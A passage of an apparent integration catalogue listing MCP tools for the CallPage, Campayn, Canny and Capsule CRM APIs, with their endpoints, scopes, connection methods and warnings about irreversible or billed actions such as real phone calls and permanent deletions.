business_times array equal in size (in case when there is no business_times parameter provided, default value will be used instead). If the pair of user_id and widget_id returns existing manager, this manager will be updated instead. Users must already exist; create them first. `business_times` is an array of per-user schedules, one for each id in `user_id`. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/widgets/add-users. Scopes: widgets.edit. callpage_post_api_v1_external_widgets_call (write, destructive) — Simple Call. POST /api/v1/external/widgets/call. Make a call to all available managers in the system. If no managers are available at the moment a scheduled call will be made. You will be able to see the call information in dashboard. IRREVERSIBLE: this places a REAL TELEPHONE CALL to the number given and bills the CallPage account for it. Nothing is deleted, and nothing can be undone either: the phone has already rung. It is not idempotent -- a retry dials the number a second time. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/widgets/call. Scopes: widgets.call. callpage_post_api_v1_external_widgets_call_or_schedule (write, destructive) — Call or Schedule. POST /api/v1/external/widgets/call-or-schedule. Make a call to all available managers in the system. If no managers are available at the moment a scheduled call on the first available slot will be made. You will be able to see the call information in dashboard. Falls back to SCHEDULING the call when no manager is available, and CallPage sends the visitor an SMS saying to expect it; the simple-call tool fails in that situation instead. IRREVERSIBLE: this places a REAL TELEPHONE CALL, or schedules one for later, and bills the CallPage account for it. Nothing is deleted, and nothing can be undone: the phone has already rung, or an SMS has told the visitor to expect it. It is not idempotent -- a retry dials the number a second time. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/widgets/call-or-schedule. Scopes: widgets.call. callpage_post_api_v1_external_widgets_create (write) — Create Widget. POST /api/v1/external/widgets/create. Create a widget, add manager and return new widget's id. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/widgets/create. Scopes: widgets.edit. callpage_post_api_v1_external_widgets_delete (write, destructive) — Delete Widget. POST /api/v1/external/widgets/delete. Delete widget by id. IRREVERSIBLE: this removes a widget permanently, taking its managers, voice messages, SMS templates and installation with it; the snippet on the customer's website stops working. CallPage spells it as a POST to a `/delete` path rather than an HTTP DELETE. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/widgets/delete. Scopes: widgets.edit. callpage_post_api_v1_external_widgets_update (write) — Update Widget. POST /api/v1/external/widgets/update. Update a widget. This method allows to edit widget's settings as well. Returns CallPage's `data` payload. A CallPage failure can arrive with HTTP 200 and `hasError: true`; this integration raises on it rather than reporting a success. POST /api/v1/callpage/api/v1/external/widgets/update. Scopes: widgets.edit. ================================================================================ ## Campayn URL: https://www.agenticfabriq.com/integrations/campayn Section: Integrated Tools Campayn — 10 MCP tools Provider key: campayn. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. campayn_get_contacts_by_contact_id_json (read) — Get a Contact via GET /contacts/{contact_id}.json. Gets one contact in full, by id and independently of any list: name, title, company, e-mail, birthday, the postal address fields, tags, and the phone, site, social and custom-field collections. GET /api/v1/campayn/contacts/{contact_id}.json. Scopes: api. campayn_get_emails_json (read) — Get Emails via GET /emails.json. Returns the account's e-mails with their delivery and engagement figures -- status, campaign title, scheduled date, send count, unique views and responses and the matching percentages, and the preview URL and thumbnail. GET /api/v1/campayn/emails.json. Scopes: api. campayn_get_lists_by_list_id_contacts_json (read) — Get Contacts via GET /lists/{list_id}/contacts.json. Lists the contacts on one list -- id, e-mail, first and last name and image URL -- and accepts Campayn's `filter[contact]` selector to narrow the result. GET /api/v1/campayn/lists/{list_id}/contacts.json. Scopes: api. campayn_get_lists_by_list_id_forms_by_form_id_json (read) — Get a Form via GET /lists/{list_id}/forms/{form_id}.json. Gets one signup form on a list: its id, title, type, signup count and the form's own HTML. GET /api/v1/campayn/lists/{list_id}/forms/{form_id}.json. Scopes: api. campayn_get_lists_by_list_id_forms_json (read) — Get Forms via GET /lists/{list_id}/forms.json. Lists the signup forms attached to one list, each with its id, title, type, signup count and the form's own HTML. Campayn's `filter[form_type]` selector narrows the result to one of its four form types. GET /api/v1/campayn/lists/{list_id}/forms.json. Scopes: api. campayn_get_lists_json (read) — Get Lists via GET /lists.json. Returns every contact list on the account, each with its id, list name, tags and contact count. The only parameter-free read in the Campayn surface. GET /api/v1/campayn/lists.json. Scopes: api. campayn_get_reports_calendar_json (read) — Get Calendar Report via GET /reports/calendar.json. Returns the account's e-mails as calendar entries -- id, name, status, scheduled date, preview URL and report URL -- optionally bounded by the `from` and `to` window. GET /api/v1/campayn/reports/calendar.json. Scopes: api. campayn_post_lists_by_list_id_contacts_json (write) — Add Contact via POST /lists/{list_id}/contacts.json. Adds a contact to one list. Only `email` is required; the name, title, company, address, phone, site, social and custom-field values are optional, and `failOnDuplicate` decides whether an address already on the list is an error rather than a no-op. POST /api/v1/campayn/lists/{list_id}/contacts.json. Scopes: api. campayn_post_lists_by_listid_unsubscribe_json (write, destructive) — Unsubscribe Contact via POST /lists/{listId}/unsubscribe.json. Unsubscribes a contact from one list, named either by contact id or by e-mail address. Answers a success envelope with the resulting contact and unsubscribe counts. The ledger classifies this destructive: an unsubscribe is a consent decision and Campayn publishes no call that reverses it. POST /api/v1/campayn/lists/{listId}/unsubscribe.json. Scopes: api. campayn_post_signup (write) — Sign Up a New User via POST /signup. Provisions a new Campayn USER account (with its own campayn.com subdomain) from an e-mail, first and last name and password. SEPARATELY AUTHORIZED: Campayn treats this as a privileged call and grants it on an API key out of band, so a key that reaches every other Campayn tool may still answer {"success": 0, "msg": "API key is not authorized for the \"signup\" action"}. That is a capability answer about this one action, NOT a dead credential -- do not re-paste the key; ask Campayn to authorize it for the signup action. The other documented refusal is an ordinary validation failure (the e-mail is already taken). POST /api/v1/campayn/signup. Scopes: api. ================================================================================ ## Canny URL: https://www.agenticfabriq.com/integrations/canny Section: Integrated Tools Canny — 51 MCP tools Provider key: canny. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. canny_post_ai_enqueue (write) — Queues text input for Autopilot, Canny's AI-powered set of tools that detect, extract and deduplicate customer feedback. Requires a Canny account with Autopilot, and SPENDS ONE AUTOPILOT CREDIT PER REQUEST via POST /api/v1/ai/enqueue POST /api/v1/canny/v1/ai/enqueue. Scopes: api. canny_post_boards_list (read) — Returns a list of all boards associated with your company, in no particular order via POST /api/v1/boards/list POST /api/v1/canny/v1/boards/list. Scopes: api. canny_post_boards_retrieve (read) — Retrieves the details of an existing board, specified by its id via POST /api/v1/boards/retrieve POST /api/v1/canny/v1/boards/retrieve. Scopes: api. canny_post_categories_create (write) — Creates a new category via POST /api/v1/categories/create POST /api/v1/canny/v1/categories/create. Scopes: api. canny_post_categories_delete (write, destructive) — Deletes a category If the category does not have sub categories via POST /api/v1/categories/delete POST /api/v1/canny/v1/categories/delete. Scopes: api. canny_post_categories_list (read) — Returns a list of categories. Include parameters to specify board and pagination. Sorted by newest via POST /api/v1/categories/list POST /api/v1/canny/v1/categories/list. Scopes: api. canny_post_categories_retrieve (read) — Retrieves the details of an existing category, specified by its id via POST /api/v1/categories/retrieve POST /api/v1/canny/v1/categories/retrieve. Scopes: api. canny_post_comments_create (write) — Creates a new portal comment. You may also want to use the Create or update user endpoint to make sure the comment author's account exists (and fetch their id) via POST /api/v1/comments/create POST /api/v1/canny/v1/comments/create. Scopes: api. canny_post_comments_delete (write, destructive) — Deletes a portal comment via POST /api/v1/comments/delete POST /api/v1/canny/v1/comments/delete. Scopes: api. canny_post_comments_list (read) — Returns a list of portal comments. Include parameters to specify post, board, and pagination. Sorted by newest via POST /api/v2/comments/list POST /api/v1/canny/v2/comments/list. Scopes: api. canny_post_comments_retrieve (read) — Retrieves the details of an existing portal comment, specified by its id via POST /api/v1/comments/retrieve POST /api/v1/canny/v1/comments/retrieve. Scopes: api. canny_post_companies_delete (write, destructive) — Deletes a company via POST /api/v1/companies/delete POST /api/v1/canny/v1/companies/delete. Scopes: api. canny_post_companies_list (read) — Returns a list of all companies associated with your company, ordered by created date via POST /api/v2/companies/list POST /api/v1/canny/v2/companies/list. Scopes: api. canny_post_companies_update (write) — Given a company ID, this endpoint updates the company with the data supplied. If you have company syncing integrations in place (e.g., Hubspot, Salesforce, SSO Tokens, Canny Identify, ...), the fields updated with this endpoint might be overwritten. Companies are CREATED by associating them to a user via Create or update user, not here via POST /api/v1/companies/update. UPDATES ONLY: an unknown id answers 400 "company does not exist". A company is CREATED by naming it in the `companies` argument of Create or update user. POST /api/v1/canny/v1/companies/update. Scopes: api. canny_post_entries_create (write) — Creates and (optionally) publishes a new changelog entry via POST /api/v1/entries/create POST /api/v1/canny/v1/entries/create. Scopes: api. canny_post_entries_list (read) — Returns a list of changelog entries via POST /api/v1/entries/list POST /api/v1/canny/v1/entries/list. Scopes: api. canny_post_groups_list (read) — Returns a paginated list of groups for your company via POST /api/v1/groups/list POST /api/v1/canny/v1/groups/list. Scopes: api. canny_post_groups_retrieve (read) — Retrieves the details of an existing group, specified by its id or urlName via POST /api/v1/groups/retrieve. Supply `id` OR `urlName`: with neither, Canny answers 400 "id or urlName is required". POST /api/v1/canny/v1/groups/retrieve. Scopes: api. canny_post_ideas_delete (write, destructive) — Deletes an existing idea via POST /api/v1/ideas/delete POST /api/v1/canny/v1/ideas/delete. Scopes: api. canny_post_ideas_list (read) — Returns a list of ideas. Include parameters to specify pagination, filtering, and sorting via POST /api/v1/ideas/list POST /api/v1/canny/v1/ideas/list. Scopes: api. canny_post_ideas_merge (write, destructive) — Merges one idea into another idea via POST /api/v1/ideas/merge POST /api/v1/canny/v1/ideas/merge. Scopes: api. canny_post_ideas_retrieve (read) — Retrieves the details of an existing idea, specified by its id or urlName via POST /api/v1/ideas/retrieve. Supply `id` OR `urlName`: with neither, Canny answers 400 "id or urlName is required". POST /api/v1/canny/v1/ideas/retrieve. Scopes: api. canny_post_insights_list (read) — Returns a paginated list of insights for your company via POST /api/v1/insights/list POST /api/v1/canny/v1/insights/list. Scopes: api. canny_post_insights_retrieve (read) — Retrieves the details of an existing insight. You must specify the insight's unique identifier from Canny via POST /api/v1/insights/retrieve POST /api/v1/canny/v1/insights/retrieve. Scopes: api. canny_post_opportunities_list (read) — Returns a list of opportunities linked to your Canny posts via POST /api/v1/opportunities/list POST /api/v1/canny/v1/opportunities/list. Scopes: api. canny_post_posts_add_tag (write) — Adds a tag to a post. Both post and tag are specified by their unique id via POST /api/v1/posts/add_tag POST /api/v1/canny/v1/posts/add_tag. Scopes: api. canny_post_posts_change_board (write) — Moves a post to another board via POST /api/v1/posts/change_board POST /api/v1/canny/v1/posts/change_board. Scopes: api. canny_post_posts_change_category (write) — Changes a post's category specified by its id via POST /api/v1/posts/change_category POST /api/v1/canny/v1/posts/change_category. Scopes: api. canny_post_posts_change_status (write) — Changes a post's status (eg. to 'planned'), specified by its id via POST /api/v1/posts/change_status POST /api/v1/canny/v1/posts/change_status. Scopes: api. canny_post_posts_create (write) — Creates a new post. You may also want to use the Create or update user endpoint to make sure the post author's account exists (and fetch their id) via POST /api/v1/posts/create POST /api/v1/canny/v1/posts/create. Scopes: api. canny_post_posts_delete (write, destructive) — Deletes an existing post via POST /api/v1/posts/delete POST /api/v1/canny/v1/posts/delete. Scopes: api. canny_post_posts_link_jira (write) — Links a Jira issue to a Canny post. Requires the Jira integration to be installed and configured via POST /api/v1/posts/link_jira. PLAN-GATED: this Canny account answers 400 "plan does not support" (measured 2026-09-18). It needs a Canny plan with the Jira integration. POST /api/v1/canny/v1/posts/link_jira. Scopes: api. canny_post_posts_list (read) — Returns a list of posts. Include parameters to specify board, pagination, filtering, and sorting via POST /api/v1/posts/list POST /api/v1/canny/v1/posts/list. Scopes: api. canny_post_posts_merge (write, destructive) — Merges one post into another post via POST /api/v1/posts/merge POST /api/v1/canny/v1/posts/merge. Scopes: api. canny_post_posts_remove_tag (write) — Removes a tag from a post. Both post and tag are specified by their unique id via POST /api/v1/posts/remove_tag POST /api/v1/canny/v1/posts/remove_tag. Scopes: api. canny_post_posts_retrieve (read) — Retrieves the details of an existing post, specified by its id or urlName via POST /api/v1/posts/retrieve. Supply EXACTLY ONE of `id` or `urlName` (and `boardID` alongside `urlName`): with neither, Canny answers 400 "exactly one of \"id\" and \"urlName\" must supplied". POST /api/v1/canny/v1/posts/retrieve. Scopes: api. canny_post_posts_unlink_jira (write) — Unlinks a Jira issue from a Canny post. Requires the Jira integration to be installed and configured via POST /api/v1/posts/unlink_jira. PLAN-GATED: this Canny account answers 400 "plan does not support" (measured 2026-09-18). It needs a Canny plan with the Jira integration. POST /api/v1/canny/v1/posts/unlink_jira. Scopes: api. canny_post_posts_update (write) — Updates an existing post via POST /api/v1/posts/update POST /api/v1/canny/v1/posts/update. Scopes: api. canny_post_status_changes_list (read) — Returns a list of status changes. Include parameters to specify board and pagination. Sorted by newest via POST /api/v2/status_changes/list POST /api/v1/canny/v2/status_changes/list. Scopes: api. canny_post_tags_create (write) — Creates a new tag via POST /api/v1/tags/create POST /api/v1/canny/v1/tags/create. Scopes: api. canny_post_tags_list (read) — Returns a list of tags. Include parameters to specify board and pagination. Sorted by newest via POST /api/v1/tags/list POST /api/v1/canny/v1/tags/list. Scopes: api. canny_post_tags_retrieve (read) — Retrieves the details of an existing tag, specified by its id via POST /api/v1/tags/retrieve POST /api/v1/canny/v1/tags/retrieve. Scopes: api. canny_post_users_create_or_update (write) — If the user does not exist, one is created, and its id is returned. If the user does exist, they will be updated with the data supplied. Why is this endpoint useful? If you're going to use an object creation API endpoint (such as create post), you may have to create the author's account before creating the post. Note: the email, name and avatarURL properties of admin users cannot be modified through the Canny API. A Canny admin will need to login to Canny to update this information manually. Note: one of email, userID or id must be provided to update a user via POST /api/v1/users/create_or_update. As well as `name`, supply ONE of `userID`, `id` or `email` to identify the user: with none, Canny answers 400 "userID, id or email must be provided". POST /api/v1/canny/v1/users/create_or_update. Scopes: api. canny_post_users_delete (write, destructive) — Deletes a user. Also deletes all of their comments and votes. If their posts have other comments/votes, then they'll be removed as an author. If there are no other comments/votes, the post will be removed via POST /api/v1/users/delete POST /api/v1/canny/v1/users/delete. Scopes: api. canny_post_users_list (read) — List the end-users within your workspace via POST /api/v2/users/list POST /api/v1/canny/v2/users/list. Scopes: api. canny_post_users_remove_user_from_company (write) — Removes the user from a company that they were previously associated with. Why is this endpoint useful? If a user of your application has moved from one organization to another or if a user is no longer a part of an organization. Please note that removing a user from a company will result in their votes no longer being associated with the company's spend via POST /api/v1/users/remove_user_from_company POST /api/v1/canny/v1/users/remove_user_from_company. Scopes: api. canny_post_users_retrieve (read) — Retrieves the details of an existing user. You must specify exactly one of: their Canny id, their id in your application, or their email. These fields are all unique per user. You can only retrieve them based on their id in your application if the user was authenticated via single sign-on or created via API via POST /api/v1/users/retrieve. Supply ONE of `id`, `userID` or `email`: with none, Canny answers 400 "no identifier specified". POST /api/v1/canny/v1/users/retrieve. Scopes: api. canny_post_votes_create (write) — Creates a new vote. You may also want to use the Create or update user endpoint to make sure the voter's account exists (and fetch their id) via POST /api/v1/votes/create POST /api/v1/canny/v1/votes/create. Scopes: api. canny_post_votes_delete (write, destructive) — Deletes a vote via POST /api/v1/votes/delete POST /api/v1/canny/v1/votes/delete. Scopes: api. canny_post_votes_list (read) — Returns a list of votes. Include parameters to specify post, board, and pagination. Sorted by newest via POST /api/v2/votes/list POST /api/v1/canny/v2/votes/list. Scopes: api. canny_post_votes_retrieve (read) — Retrieves the details of an existing vote, specified by its id via POST /api/v1/votes/retrieve POST /api/v1/canny/v1/votes/retrieve. Scopes: api. ================================================================================ ## Capsule CRM URL: https://www.agenticfabriq.com/integrations/capsulecrm Section: Integrated Tools Capsule CRM — 132 MCP tools Provider key: capsulecrm. Scopes: read, write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. capsulecrm_delete_activitytypes_by_activitytypeid (write, destructive) — Delete activity type. DELETE /activitytypes/{activityTypeId}. Removes an activity type from the Capsule account. DELETE /api/v1/capsulecrm/activitytypes/{activityTypeId}. Scopes: write. capsulecrm_delete_boards_by_boardid (write, destructive) — Archive board. DELETE /boards/{boardId}. Archive the specific board. This operation requires the authenticated user to have an Administrator role on the Capsule account. DELETE /api/v1/capsulecrm/boards/{boardId}. Scopes: write. capsulecrm_delete_by_entity_fields_definitions_by_fieldid (write, destructive) — Delete custom field. DELETE /{entity}/fields/definitions/{fieldId}. Removes a custom field from this Capsule account. Note that this will remove the field value from any parties, opportunities and projects it was assigned to. DELETE /api/v1/capsulecrm/{entity}/fields/definitions/{fieldId}. Scopes: write. capsulecrm_delete_by_entity_tags_by_tagid (write, destructive) — Delete tag definition. DELETE /{entity}/tags/{tagId}. Removes a tag from the Capsule account. Note that this will remove the tag from any parties, opportunities and projects it was assigned to. DELETE /api/v1/capsulecrm/{entity}/tags/{tagId}. Scopes: write. capsulecrm_delete_categories_by_categoryid (write, destructive) — Delete task category. DELETE /categories/{categoryId}. Removes a category from the Capsule account. Any tasks under this category will be retained but will become uncategorized. DELETE /api/v1/capsulecrm/categories/{categoryId}. Scopes: write. capsulecrm_delete_entries_by_id (write, destructive) — Delete entry. DELETE /entries/{id}. Remove an entry from the Capsule account and any associated attachments. DELETE /api/v1/capsulecrm/entries/{id}. Scopes: write. capsulecrm_delete_goals_by_goalid (write, destructive) — Delete goal. DELETE /goals/{goalId}. Removes a goal from the Capsule account. DELETE /api/v1/capsulecrm/goals/{goalId}. Scopes: write. capsulecrm_delete_kases_by_projectid (write, destructive) — Delete project. DELETE /kases/{projectId}. Fully delete the specific project from Capsule. DELETE /api/v1/capsulecrm/kases/{projectId}. Scopes: write. capsulecrm_delete_kases_by_projectid_parties_by_partyid (write, destructive) — Remove additional party (Project). DELETE /kases/{projectId}/parties/{partyId}. Remove a specific person or organisation as an additional contact of the project. DELETE /api/v1/capsulecrm/kases/{projectId}/parties/{partyId}. Scopes: write. capsulecrm_delete_lostreasons_by_lostreasonid (write, destructive) — Delete lost reason. DELETE /lostreasons/{lostReasonId}. Removes a lost reason from the Capsule account. Lost Reasons may not be immediately deleted and may be kept for reporting on historical records, however you will not be able to select a lost reason marked for deletion on a new opportunity or while updating an opportunity. This operation requires the DELETE /api/v1/capsulecrm/lostreasons/{lostReasonId}. Scopes: write. capsulecrm_delete_milestones_by_milestoneid (write, destructive) — Delete milestone. DELETE /milestones/{milestoneId}. Removes a milestone from the Capsule account. You cannot delete a milestone while it is still being used on an opportunity. First you need to change or remove the milestone on all such opportunities. DELETE /api/v1/capsulecrm/milestones/{milestoneId}. Scopes: write. capsulecrm_delete_opportunities_by_opportunityid (write, destructive) — Delete opportunity. DELETE /opportunities/{opportunityId}. Fully delete a specific opportunity from Capsule. DELETE /api/v1/capsulecrm/opportunities/{opportunityId}. Scopes: write. capsulecrm_delete_opportunities_by_opportunityid_parties_by_partyid (write, destructive) — Remove additional party (Opportunity). DELETE /opportunities/{opportunityId}/parties/{partyId}. Remove that person or organisation as an additional contact of the opportunity. DELETE /api/v1/capsulecrm/opportunities/{opportunityId}/parties/{partyId}. Scopes: write. capsulecrm_delete_parties_by_partyid (write, destructive) — Delete party. DELETE /parties/{partyId}. Fully delete the specific party from Capsule. DELETE /api/v1/capsulecrm/parties/{partyId}. Scopes: write. capsulecrm_delete_pipelines_by_pipelineid (write, destructive) — Archive pipeline. DELETE /pipelines/{pipelineId}. Archive the specific pipeline. This operation requires the authenticated user to have an Administrator role on the Capsule account. DELETE /api/v1/capsulecrm/pipelines/{pipelineId}. Scopes: write. capsulecrm_delete_resthooks_by_resthookid (write, destructive) — Unsubscribe REST hook. DELETE /resthooks/{restHookId}. Unsubscribes a REST hook, stopping all events immediately. This operation requires that the user has an Administrator role on the account, and is authenticated via the same registered application that subscribed the REST hook to be deleted. DELETE /api/v1/capsulecrm/resthooks/{restHookId}. Scopes: write. capsulecrm_delete_stages_by_stageid (write, destructive) — Delete stage. DELETE /stages/{stageId}. Removes a stage from the Capsule account. You cannot delete a stage while it is still being used on an open project. First you need to change or remove the stage on all such projects. This operation requires the authenticated user to have an Administrator role on the Capsule account. DELETE /api/v1/capsulecrm/stages/{stageId}. Scopes: write. capsulecrm_delete_tasks_by_taskid (write, destructive) — Delete task. DELETE /tasks/{taskId}. Fully delete the specific task from Capsule. DELETE /api/v1/capsulecrm/tasks/{taskId}. Scopes: write. capsulecrm_delete_titles_by_titleid (write, destructive) — Delete custom title. DELETE /titles/{titleId}. Delete a custom title from Capsule. Titles can only be deleted if they are not in use by any party. This operation requires the authenticated user has an Administrator role on the Capsule account. DELETE /api/v1/capsulecrm/titles/{titleId}. Scopes: write. capsulecrm_delete_trackdefinitions_by_trackdefinitionid (write, destructive) — Delete track definition. DELETE /trackdefinitions/{trackDefinitionId}. Delete a track definition. DELETE /api/v1/capsulecrm/trackdefinitions/{trackDefinitionId}. Scopes: write. capsulecrm_delete_tracks_by_trackid (write, destructive) — Delete track. DELETE /tracks/{trackId}. Remove track and related tasks from party, opportunity or project. DELETE /api/v1/capsulecrm/tracks/{trackId}. Scopes: write. capsulecrm_get_activitytypes (read) — List activity types. GET /activitytypes. The collection of all the activity types on this Capsule account. GET /api/v1/capsulecrm/activitytypes. Scopes: read. capsulecrm_get_activitytypes_by_activitytypeid (read) — Show activity type. GET /activitytypes/{activityTypeId}. Show a specific activity type. GET /api/v1/capsulecrm/activitytypes/{activityTypeId}. Scopes: read. capsulecrm_get_activitytypes_icons (read) — List icons. GET /activitytypes/icons. List of icons that can be associated with activity types. GET /api/v1/capsulecrm/activitytypes/icons. Scopes: read. capsulecrm_get_attachments_by_attachmentid (read) — Show attachment. GET /attachments/{attachmentId}. Get the contents of an attachment. The contents can be saved locally to a file using the Content-disposition header to determine the file name. GET /api/v1/capsulecrm/attachments/{attachmentId}. Scopes: read. capsulecrm_get_boards (read) — List boards. GET /boards. The collection of boards on the Capsule account. GET /api/v1/capsulecrm/boards. Scopes: read. capsulecrm_get_boards_by_boardid (read) — Show board. GET /boards/{boardId}. Show a specific board. GET /api/v1/capsulecrm/boards/{boardId}. Scopes: read. capsulecrm_get_boards_by_boardid_stages (read) — List stages by board. GET /boards/{boardId}/stages. List stages associated with a board. GET /api/v1/capsulecrm/boards/{boardId}/stages. Scopes: read. capsulecrm_get_by_entity_by_entityid_entries (read) — List entries. GET /{entity}/{entityId}/entries. List notes, emails and completed tasks for parties, kases (projects) and opportunities. The entity parameter in the URL determines which entry type to list and must be one of parties, opportunities or kases (projects). entityId should be the id of a party, project or opportunity on the account. GET /api/v1/capsulecrm/{entity}/{entityId}/entries. Scopes: read. capsulecrm_get_by_entity_by_entityid_tracks (read) — List tracks. GET /{entity}/{entityId}/tracks. List tracks for a specific party, opportunity or project. The entity parameter inside the URL must be parties, opportunities or kases and defines which tracks to return. GET /api/v1/capsulecrm/{entity}/{entityId}/tracks. Scopes: read. capsulecrm_get_by_entity_fields_definitions (read) — List custom fields. GET /{entity}/fields/definitions. The collection of all custom fields on this Capsule account. The entity parameter inside the URL must be parties, opportunities or kases and defines which custom fields to return. GET /api/v1/capsulecrm/{entity}/fields/definitions. Scopes: read. capsulecrm_get_by_entity_fields_definitions_by_fieldid (read) — Show custom field. GET /{entity}/fields/definitions/{fieldId}. Show a specific custom field. GET /api/v1/capsulecrm/{entity}/fields/definitions/{fieldId}. Scopes: read. capsulecrm_get_by_entity_tags (read) — List tag definitions. GET /{entity}/tags. The collection of all of the tags on this Capsule account. The entity parameter inside the URL must be parties, opportunities or kases and defines which tags to return. GET /api/v1/capsulecrm/{entity}/tags. Scopes: read. capsulecrm_get_by_entity_tags_by_tagid (read) — Show tag definition. GET /{entity}/tags/{tagId}. Show a specific tag. GET /api/v1/capsulecrm/{entity}/tags/{tagId}. Scopes: read. capsulecrm_get_categories (read) — List task categories. GET /categories. The collection of all the task categories on this Capsule account. GET /api/v1/capsulecrm/categories. Scopes: read. capsulecrm_get_categories_by_categoryid (read) — Show task category. GET /categories/{categoryId}. Show a specific task category. GET /api/v1/capsulecrm/categories/{categoryId}. Scopes: read. capsulecrm_get_countries (read) — List countries. GET /countries. Collection of country names available in Capsule; useful for populating the country field of the party's address. These are the same for all Capsule accounts. GET /api/v1/capsulecrm/countries. Scopes: read. capsulecrm_get_currencies (read) — List currencies. GET /currencies. Collection of ISO currency code options available in Capsule; useful for populating and displaying the opportunities' value. These are the same for all Capsule accounts. GET /api/v1/capsulecrm/currencies. Scopes: read. capsulecrm_get_entries (read) — List by date. GET /entries. List notes, emails and the details of completed party tasks in descending order starting with the most recent entry date first. GET /api/v1/capsulecrm/entries. Scopes: read. capsulecrm_get_entries_by_id (read) — Show entry. GET /entries/{id}. Show a specific note, email or the details of a completed party task. GET /api/v1/capsulecrm/entries/{id}. Scopes: read. capsulecrm_get_goals (read) — List goals. GET /goals. The collection of all the goals on this Capsule account. GET /api/v1/capsulecrm/goals. Scopes: read. capsulecrm_get_goals_by_goalid (read) — Show goal. GET /goals/{goalId}. Show a specific goal. GET /api/v1/capsulecrm/goals/{goalId}. Scopes: read. capsulecrm_get_goals_by_goalid_periods (read) — List goal periods. GET /goals/{goalId}/periods. The collection of all the goal periods for a specific goal on this Capsule account. GET /api/v1/capsulecrm/goals/{goalId}/periods. Scopes: read. capsulecrm_get_kases (read) — List projects. GET /kases. The collection of Projects on the Capsule account. GET /api/v1/capsulecrm/kases. Scopes: read. capsulecrm_get_kases_by_projectid (read) — Show project. GET /kases/{projectId}. Show a specific project. GET /api/v1/capsulecrm/kases/{projectId}. Scopes: read. capsulecrm_get_kases_by_projectid_parties (read) — List additional parties (Project). GET /kases/{projectId}/parties. The collection of additional parties related to this project. GET /api/v1/capsulecrm/kases/{projectId}/parties. Scopes: read. capsulecrm_get_kases_by_projectids (read) — Show multiple projects. GET /kases/{projectIds}. Allows to load a list of projects by providing their unique ids. projectIds must be a comma separated list of integers and can contain at most 10 values. GET /api/v1/capsulecrm/kases/multiple/{projectIds}. Scopes: read. capsulecrm_get_kases_deleted (read) — List deleted projects. GET /kases/deleted. A collection of projects that have been deleted from Capsule since the date specified in the since parameter. Also contains projects that have been made restricted for the user calling the API endpoint. GET /api/v1/capsulecrm/kases/deleted. Scopes: read. capsulecrm_get_kases_search (read) — Search projects. GET /kases/search. Search for projects on the Capsule account. This will return the same results as the global search inside Capsule. If you're looking for a more structured search endpoint you can use Filters to search by a specific field or tag. GET /api/v1/capsulecrm/kases/search. Scopes: read. capsulecrm_get_lostreasons (read) — List lost reasons. GET /lostreasons. The collection of all the lost reasons on this Capsule account. GET /api/v1/capsulecrm/lostreasons. Scopes: read. capsulecrm_get_lostreasons_by_lostreasonid (read) — Show lost reason. GET /lostreasons/{lostReasonId}. Show a specific lost reason. GET /api/v1/capsulecrm/lostreasons/{lostReasonId}. Scopes: read. capsulecrm_get_milestones (read) — List milestones. GET /milestones. The collection of all the milestones on the oldest active pipeline. This endpoint remains for backwards compatibility purposes. To list milestones on a specific pipeline, use the list milestones by pipeline endpoint. GET /api/v1/capsulecrm/milestones. Scopes: read. capsulecrm_get_milestones_by_milestoneid (read) — Show milestone. GET /milestones/{milestoneId}. Show a specific milestone. GET /api/v1/capsulecrm/milestones/{milestoneId}. Scopes: read. capsulecrm_get_opportunities (read) — List opportunities. GET /opportunities. The collection of Opportunities on the Capsule account. GET /api/v1/capsulecrm/opportunities. Scopes: read. capsulecrm_get_opportunities_by_opportunityid (read) — Show opportunity. GET /opportunities/{opportunityId}. Returns a specific opportunity. GET /api/v1/capsulecrm/opportunities/{opportunityId}. Scopes: read. capsulecrm_get_opportunities_by_opportunityid_kases (read) — List associated projects. GET /opportunities/{opportunityId}/kases. The collection of projects related to this opportunity. GET /api/v1/capsulecrm/opportunities/{opportunityId}/kases. Scopes: read. capsulecrm_get_opportunities_by_opportunityid_parties (read) — List additional parties (Opportunity). GET /opportunities/{opportunityId}/parties. The collection of additional parties related to this opportunity. GET /api/v1/capsulecrm/opportunities/{opportunityId}/parties. Scopes: read. capsulecrm_get_opportunities_by_opportunityids (read) — Show multiple opportunities. GET /opportunities/{opportunityIds}. Return a list of opportunities, specified 